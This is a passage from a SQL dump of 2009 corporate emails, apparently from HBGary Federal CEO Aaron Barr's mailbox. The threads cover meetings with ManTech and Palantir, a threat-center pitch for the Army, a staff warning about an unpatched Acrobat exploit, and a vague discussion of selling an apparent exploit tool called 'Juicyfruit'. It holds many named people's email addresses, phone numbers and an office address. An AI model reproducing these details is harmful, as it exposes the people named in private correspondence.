racing.\r\n>>> Its nice to be excited about work, but I need some sleep.\r\n>>> \r\n>>> Aaron\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11524,'aaron_hbgary_com/11524.html'),(660,'2009-12-15','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1296999991.M249332P3547Q660.eml','all@hbgary.com','flexible spending account enrollment Forms  DUE 12/16/09','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi to all ,\r\n\r\n&nbsp;\r\n\r\nI need all of the Flex systems forms no later than Wednesday\r\nDecember 16, 2009.&nbsp; Please send them to me ASAP. &nbsp;&nbsp;Jeff will be in the office Wednesday\r\nto pick them up.&nbsp; I don&#8217;t want us look bad!!&nbsp; Alex turned his in. THANKS\r\nAlex!!\r\n\r\n&nbsp; \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4724 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14855,'aaron_hbgary_com/14855.html'),(661,'2009-12-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999991.M554831P3547Q661.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','New Juicyfruit','Greg,\r\n\r\nI think we should slow roll for a little bit giving your new grand juicyfruit and selling it to GD for use.  I want to get a better idea of who their customers are.  I think actually we can get much better play out of it by maybe peddling it ourselves once we get our tickets back.  As I said earlier, GD does not have a lot of penetration in this space and is probably using your great tools to help them grow a market.  If they were willing to sponsor our tickets then maybe a different story but they can\'t or won\'t do that.  Lets discuss this with a few more people if thats ok with you.  As we mentioned, Xetron has a huge penetration in this space and they are going to try to get us cleared, so maybe worth talking to them about as well.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16836,'aaron_hbgary_com/16836.html'),(662,'2009-12-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999991.M770392P3547Q662.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: UI and web developer','Right.  So the more I think about it the more it makes sense that once more established HBGary Federal take on the services elements.  That would be better all around then subbing that work out to someone else I think.  We will have the mechanisms to manage services based contracts, have the expertise, in fact all of it will help grow our overall capabilities.  Probably a good topic to discuss more tomorrow.\r\n\r\nAaron\r\n\r\nOn Dec 14, 2009, at 11:56 AM, Penny Hoglund wrote:\r\n\r\n> We really don\'t have a pool of services folks, BUT we do have folks in the\r\n> service space we can work with.  The problem with services for a software\r\n> company is people on the bench.  Because Greg wants software development\r\n> done here, it limits this.  We do have relationships though we can leverage\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 14, 2009 6:41 AM\r\n> To: Penny Leavy\r\n> Subject: Re: UI and web developer\r\n> \r\n> I think we wanted to do non classified work, but stay in the federal space.\r\n> Sounds like something to add to our discussion.\r\n> \r\n> I started to think about this a little more after talking with Rich and Bob,\r\n> not anything in particular, but I started to think it would be helpful,\r\n> whichever way it works, to have a pool of services folks to do on site work,\r\n> I wasn\'t sure if you already had a model for that.  We couldn\'t even think\r\n> about doing short-term product sales services work until we had a measurable\r\n> enough staff to pull from so if we were to support other government services\r\n> work.\r\n> \r\n> Off to pick up Greg.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 13, 2009, at 2:42 PM, Penny Leavy wrote:\r\n> \r\n>> OK, not really clear.  Support and Maintenance is done through HBGary\r\n>> and it\'s 20% right now although I\'m looking at marking it up to 25%.\r\n>> I thought you guys didn\'t want to do consulting on non classified\r\n>> projects.  Given we don\'t have sales people with clearances we won\'t\r\n>> be discussing anything along those lines and directly pass the lead to\r\n>> you guys.\r\n>> \r\n>> On Sat, Dec 12, 2009 at 12:50 PM, Aaron Barr  wrote:\r\n>>> Also Ted and I were discussing that we need to talk to all the sales\r\n> folks after coming up with a pricing plan.  Three options we came up with\r\n> immediately.\r\n>>> Maintenance on Product: similiar to Sun Support.\r\n>>> Bundle with Product. So $xxx comes with Xhrs of install, training, and\r\n> analysis.\r\n>>> T&M - level of analyst for $xxx for xx hrs.\r\n>>> \r\n>>> Thoughts?  A topic for us to discuss when we are out.  So once we get\r\n> this down, talk to all the sales folks about the offerings, capability of\r\n> HBGary federal, etc.  And write those services into the website and\r\n> literature.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Dec 12, 2009, at 3:36 PM, Penny Leavy wrote:\r\n>>> \r\n>>>> Cool.  W ewere going to fly down to San Jose but the commuter airlines\r\n>>>> went out of business.  We\'ll have to drive, which means you need to\r\n>>>> leave around 7 (in case of traffic) to get to San Jose It\'s 2.5 hours.\r\n>>>> we had a couple of good meetings in boston.  Looks like we have to go\r\n>>>> out again, so we\'ll try to hook up with Blackbird\r\n>>>> \r\n>>>> On Sat, Dec 12, 2009 at 12:35 PM, Aaron Barr  wrote:\r\n>>>>> yep that makes sense.  I think Ted is getting rental car.  We are\r\n> staying at\r\n>>>>> the courtyard near the office.  I will share out a BD document to you\r\n> that\r\n>>>>> is where Ted and I are capturing all of our contacts, leads, etc. and\r\n> we can\r\n>>>>> go over it on Monday/Tuesday.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> \r\n>>>>> On Dec 12, 2009, at 3:29 PM, Penny Leavy wrote:\r\n>>>>> \r\n>>>>>> We just hired a UI developer Kam for HBGary.  We could use some part\r\n>>>>>> time help and I know Greg prefers to have people working on theproduct\r\n>>>>>> in Sacramento.  Let\'s talk on Monday about where we are with\r\n>>>>>> contracts.  BTW>>>>> the story with hotel and car?  Do you need to be picked up?\r\n>>>>>> \r\n>>>>>> On Sat, Dec 12, 2009 at 6:19 AM, Aaron Barr  wrote:\r\n>>>>>>> \r\n>>>>>>> Hey there,\r\n>>>>>>> \r\n>>>>>>> Do we have or do we need a good UI developer?  It\'s the guy I\r\n>>>>>>> mentioned to you that also does web information design and\r\n> development.\r\n>>>>>>> \r\n>>>>>>> Aaron\r\n>>>>>>> \r\n>>>>>>> From my iPhone\r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> --\r\n>>>>>> Penny C. Leavy\r\n>>>>>> HBGary, Inc.\r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> --\r\n>>>> Penny C. Leavy\r\n>>>> HBGary, Inc.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> \r\n>> \r\n>> -- \r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1242,'aaron_hbgary_com/1242.html'),(663,'2009-12-15','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1296999991.M969046P3547Q663.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion','Aaron im sorry but Friday just got slammed with customer last minute\r\nappt. how about next Tuesday? \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, December 14, 2009 9:00 PM\r\nTo: Nieves, Alexander\r\nSubject: Re: Discussion\r\n\r\nHi Alex,\r\n\r\nFriday 1-2 sounds good if your still available.  I will come to you.\r\nLet me know if you just want to talk for a bit.  I can at a high level\r\ndiscuss HBGary tools and capabilities.  If you want a demo of the new\r\nproducts, Responder, Digital DNA, and Recon I would have to bring an\r\nengineer.  If you just want to talk a bit first we can always set up a\r\ndemo if your interested after the new year.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 11, 2009, at 3:16 AM, Nieves, Alexander wrote:\r\n\r\n> I can do next Friday from 1-2pm, but I would have to ask you to meet\r\nme\r\n> in Herndon office where bill Varner sits. I will have a meeting there\r\n> that ends at 1pm. Let me know if this will work\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, December 10, 2009 1:38 PM\r\n> To: Nieves, Alexander\r\n> Subject: Re: Discussion\r\n> \r\n> How is your next Friday?  I am open.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 10, 2009, at 5:59 AM, Nieves, Alexander wrote:\r\n> \r\n>> Aaron this is week has turned into an appt nightmare. I will have to\r\n>> look at another date. Next week is pretty busy also it\'s the week we\r\n>> spend on strategy and operations reviews. Let me look at what might\r\nbe\r\n>> open for next week maybe during lunch. Shoot me a couple of dates\r\n>> between 1100-1300 time frame for next week. thanks\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Tuesday, December 08, 2009 12:54 PM\r\n>> To: Nieves, Alexander\r\n>> Subject: Re: Discussion\r\n>> \r\n>> How does Friday look Alex?  If it\'s no good I can meet with you maybe\r\n>> late next week to go over things and we can catch Greg his next trip\r\n>> out.\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"\r\n>> >> wrote:\r\n>> \r\n>>> Aaron im trying to move some appts around so we can meet so let me\r\n> see\r\n>>> what I can do for this week?\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, December 02, 2009 2:25 AM\r\n>>> To: Nieves, Alexander\r\n>>> Subject: Discussion\r\n>>> \r\n>>> Hi Alex,\r\n>>> \r\n>>> I was wondering if you would be interested in getting together next\r\n>>> week\r\n>>> to talk about my new role, what we might be able to do together and\r\n>>> get\r\n>>> a brief on the latest HBGary and Mantech capabilities?  Greg Hoglund\r\n>>> will be in town and of course does the best job conveying the\r\n>>> technologies (I\'ll get there).  Not sure how familiar you are with\r\n>>> their\r\n>>> tools, but the one I am most excited about is their Digital DNA, it\r\n>>> does\r\n>>> behavior/characteristic identification of malware based on HBGarys\r\n>>> Malware genome database.  So far its 75% successful at detecting all\r\n>>> malware we throw at it, as the genome database gets larger that\r\n> should\r\n>>> get better, but already pretty good.\r\n>>> \r\n>>> Another idea I am starting to form is a combined capability that I\r\n>>> think\r\n>>> can push the rock a little on Attribution.  I am not sure if you are\r\n>>> familiar with Palantir.  Their main focus in link analysis, and\r\ntheir\r\n>>> tool is best in class.  I want to combine Palantirs capability for\r\n>>> externals analysis with HBGarys capability for malware binary\r\n> analysis\r\n>>> and fingerprinting and start doing some long term analysis and\r\n>>> correlation of attacks.  I think this approach could push the\r\n>>> Attribution rock forward a little.\r\n>>> \r\n>>> I know you guys are in the \"forensics\" space but would really like\r\nto\r\n>>> talk about what that really means, also share where we are going and\r\n>>> see\r\n>>> where we might be able to help each other.\r\n>>> \r\n>>> If you noticed the time of the email.  3rd night in a row I have\r\n> woken\r\n>>> up in the middle of the night and can\'t sleep because my mind is\r\n>>> racing.\r\n>>> Its nice to be excited about work, but I need some sleep.\r\n>>> \r\n>>> Aaron\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5674,'aaron_hbgary_com/5674.html'),(664,'2009-12-15','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1296999992.M438869P3547Q664.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThat works.&nbsp; Say 9?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, December 14, 2009 8:58 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nhey matt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow about Friday Morning. &nbsp;I will come to your place.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 10, 2009, at 4:23 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThat sounds like a pretty nice situation for both of us.&nbsp; We\r\nshould definitely discuss.&nbsp; Next Thurs is bad for me, but Friday works\r\ngreat.&nbsp; Let me know what time youd like to meet and whether you want to\r\ncome to RDell or support at your place.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, December\r\n10, 2009 1:44 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Palantir\r\nfollow up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey Matt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow about next Thurs in the morning sometime, or on Friday?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am working on a presentation for ARSTRAT to build a small\r\nthreat center that uses HBGary and Palantir products. &nbsp;The basis is:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Feed Processor (we process 5000 pieces of malware a day\r\nand classify their threat level).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResponder Malware analysis tools\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalantir Threat and Link Analysis tool\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2 Linguists/Intel Analysts (1 Chinese/1 Russian)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2 Threat Analysts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2 Malware Analysts\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe investigate/correlate APT and develop threat maps and\r\nreports based on intel, open, and cyber sources. &nbsp;ARTRAT would provide\r\nthis to the rest of the community.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nA few questions. &nbsp;Why ARTRAT? &nbsp;They are looking to\r\nbe more relevant cyber wise to the Army. &nbsp;They have money, and they really\r\nlike the idea.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSo what do you think?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can get together and talk about this and other pursuits.\r\n&nbsp;I agree there is a natural convergence of our technologies. &nbsp;Greg is\r\npretty excited as well.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 8, 2009, at 3:45 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny,\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat\r\nmeeting with you yesterday.&nbsp; As discussed, if you send me the names and\r\nemail addresses of the people you want to give access to our DevZone to, we can\r\nget them accounts.&nbsp; Once they get access they can download a locally\r\nloaded version of Palantir called a QuickStart.&nbsp; They will be able to\r\nimport their data through a few simple steps outlined on the DevZone website.\r\n&nbsp;Hopefully they can put together a compelling demo path, if needed, I can\r\nbe available for suggestions on the workflow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n&#8211; do you think you could get Geoff access to a trail version of your Digital\r\nDNA product (and anything else he might need)? &nbsp;He can evaluate it in the\r\ncontext of a potential partnership.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n&#8211; whenever you want to discuss federal business opportunities Im game.&nbsp; I\r\nthink that teaming on proposals is a no brainer for work in the cyber domain as\r\nour two product lines are incredibly complementary.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14105,'aaron_hbgary_com/14105.html'),(665,'2009-12-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999992.M637371P3547Q665.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Palantir follow up','sounds good. &nbsp;See you at 9am.AaronOn Dec 15, 2009, at 7:26 AM, Matthew Steckman wrote:That works.&nbsp; Say 9?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, December 14, 2009 8:58 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Palantir follow up&nbsp;hey matt,&nbsp;How about Friday Morning. &nbsp;I will come to your place.&nbsp;Aaron&nbsp;On Dec 10, 2009, at 4:23 PM, Matthew Steckman wrote:Aaron,&nbsp;That sounds like a pretty nice situation for both of us.&nbsp; We should definitely discuss.&nbsp; Next Thurs is bad for me, but Friday works great.&nbsp; Let me know what time youd like to meet and whether you want to come to RDell or support at your place.&nbsp;Best,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 10, 2009 1:44 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Palantir follow up&nbsp;Hey Matt,&nbsp;How about next Thurs in the morning sometime, or on Friday?&nbsp;I am working on a presentation for ARSTRAT to build a small threat center that uses HBGary and Palantir products. &nbsp;The basis is:&nbsp;HBGary Feed Processor (we process 5000 pieces of malware a day and classify their threat level).Responder Malware analysis toolsPalantir Threat and Link Analysis tool&nbsp;2 Linguists/Intel Analysts (1 Chinese/1 Russian)2 Threat Analysts2 Malware Analysts&nbsp;The investigate/correlate APT and develop threat maps and reports based on intel, open, and cyber sources. &nbsp;ARTRAT would provide this to the rest of the community.&nbsp;A few questions. &nbsp;Why ARTRAT? &nbsp;They are looking to be more relevant cyber wise to the Army. &nbsp;They have money, and they really like the idea.&nbsp;So what do you think?&nbsp;We can get together and talk about this and other pursuits. &nbsp;I agree there is a natural convergence of our technologies. &nbsp;Greg is pretty excited as well.&nbsp;Aaron&nbsp;On Dec 8, 2009, at 3:45 PM, Matthew Steckman wrote:Penny, Aaron,&nbsp;Great meeting with you yesterday.&nbsp; As discussed, if you send me the names and email addresses of the people you want to give access to our DevZone to, we can get them accounts.&nbsp; Once they get access they can download a locally loaded version of Palantir called a QuickStart.&nbsp; They will be able to import their data through a few simple steps outlined on the DevZone website. &nbsp;Hopefully they can put together a compelling demo path, if needed, I can be available for suggestions on the workflow.&nbsp;Penny – do you think you could get Geoff access to a trail version of your Digital DNA product (and anything else he might need)? &nbsp;He can evaluate it in the context of a potential partnership.&nbsp;&nbsp;Aaron – whenever you want to discuss federal business opportunities Im game.&nbsp; I think that teaming on proposals is a no brainer for work in the cyber domain as our two product lines are incredibly complementary.&nbsp;&nbsp;Best regards,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4397,'aaron_hbgary_com/4397.html'),(666,'2009-12-15','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1296999992.M858333P3547Q666.eml','all@hbgary.com','Be wary of PDFs','\r\nhttp://blogs.adobe.com/psirt/2009/12/new_adobe_reader_and_acrobat_v.html\r\n\r\nThere is another new Adobe Acrobat exploit in the wild.  This one works\r\nagainst the latest versions and currently has no patch.  It is suggested\r\nthat you disable JavaScript from within Acrobat (Edit -> Preferences ->\r\nJavaScript -> uncheck \"Enable Acrobat JavaScript\").\r\n\r\nI suggest not opening PDFs if at all possible.\r\n\r\n- Martin\r\n',16818,'aaron_hbgary_com/16818.html'),(667,'2009-12-15','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999993.M535365P3547Q667.eml','\"Barr Aaron\" <aaron@hbgary.com>','Jerry','\r\n\r\n',7085,'aaron_hbgary_com/7085.html'),(668,'2009-12-15','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999993.M852900P3547Q668.eml','\"Barr Aaron\" <aaron@hbgary.com>','Rich','\r\n\r\n',8413,'aaron_hbgary_com/8413.html'),(669,'2009-12-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999994.M286303P3547Q670.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','Re: Discussion','Alex,\r\n\r\nNo worries.  I will make a note to get back to set something up after the new year.  Monday I am heading west to my wife\'s parents folks for a few weeks.\r\n\r\nHappy Holidays,\r\nAaron\r\n\r\n\r\nOn Dec 15, 2009, at 5:09 AM, Nieves, Alexander wrote:\r\n\r\n> Aaron im sorry but Friday just got slammed with customer last minute\r\n> appt. how about next Tuesday? \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 14, 2009 9:00 PM\r\n> To: Nieves, Alexander\r\n> Subject: Re: Discussion\r\n> \r\n> Hi Alex,\r\n> \r\n> Friday 1-2 sounds good if your still available.  I will come to you.\r\n> Let me know if you just want to talk for a bit.  I can at a high level\r\n> discuss HBGary tools and capabilities.  If you want a demo of the new\r\n> products, Responder, Digital DNA, and Recon I would have to bring an\r\n> engineer.  If you just want to talk a bit first we can always set up a\r\n> demo if your interested after the new year.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Dec 11, 2009, at 3:16 AM, Nieves, Alexander wrote:\r\n> \r\n>> I can do next Friday from 1-2pm, but I would have to ask you to meet\r\n> me\r\n>> in Herndon office where bill Varner sits. I will have a meeting there\r\n>> that ends at 1pm. Let me know if this will work\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, December 10, 2009 1:38 PM\r\n>> To: Nieves, Alexander\r\n>> Subject: Re: Discussion\r\n>> \r\n>> How is your next Friday?  I am open.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Dec 10, 2009, at 5:59 AM, Nieves, Alexander wrote:\r\n>> \r\n>>> Aaron this is week has turned into an appt nightmare. I will have to\r\n>>> look at another date. Next week is pretty busy also it\'s the week we\r\n>>> spend on strategy and operations reviews. Let me look at what might\r\n> be\r\n>>> open for next week maybe during lunch. Shoot me a couple of dates\r\n>>> between 1100-1300 time frame for next week. thanks\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Tuesday, December 08, 2009 12:54 PM\r\n>>> To: Nieves, Alexander\r\n>>> Subject: Re: Discussion\r\n>>> \r\n>>> How does Friday look Alex?  If it\'s no good I can meet with you maybe\r\n>>> late next week to go over things and we can catch Greg his next trip\r\n>>> out.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"\r\n>>> >>> wrote:\r\n>>> \r\n>>>> Aaron im trying to move some appts around so we can meet so let me\r\n>> see\r\n>>>> what I can do for this week?\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Wednesday, December 02, 2009 2:25 AM\r\n>>>> To: Nieves, Alexander\r\n>>>> Subject: Discussion\r\n>>>> \r\n>>>> Hi Alex,\r\n>>>> \r\n>>>> I was wondering if you would be interested in getting together next\r\n>>>> week\r\n>>>> to talk about my new role, what we might be able to do together and\r\n>>>> get\r\n>>>> a brief on the latest HBGary and Mantech capabilities?  Greg Hoglund\r\n>>>> will be in town and of course does the best job conveying the\r\n>>>> technologies (I\'ll get there).  Not sure how familiar you are with\r\n>>>> their\r\n>>>> tools, but the one I am most excited about is their Digital DNA, it\r\n>>>> does\r\n>>>> behavior/characteristic identification of malware based on HBGarys\r\n>>>> Malware genome database.  So far its 75% successful at detecting all\r\n>>>> malware we throw at it, as the genome database gets larger that\r\n>> should\r\n>>>> get better, but already pretty good.\r\n>>>> \r\n>>>> Another idea I am starting to form is a combined capability that I\r\n>>>> think\r\n>>>> can push the rock a little on Attribution.  I am not sure if you are\r\n>>>> familiar with Palantir.  Their main focus in link analysis, and\r\n> their\r\n>>>> tool is best in class.  I want to combine Palantirs capability for\r\n>>>> externals 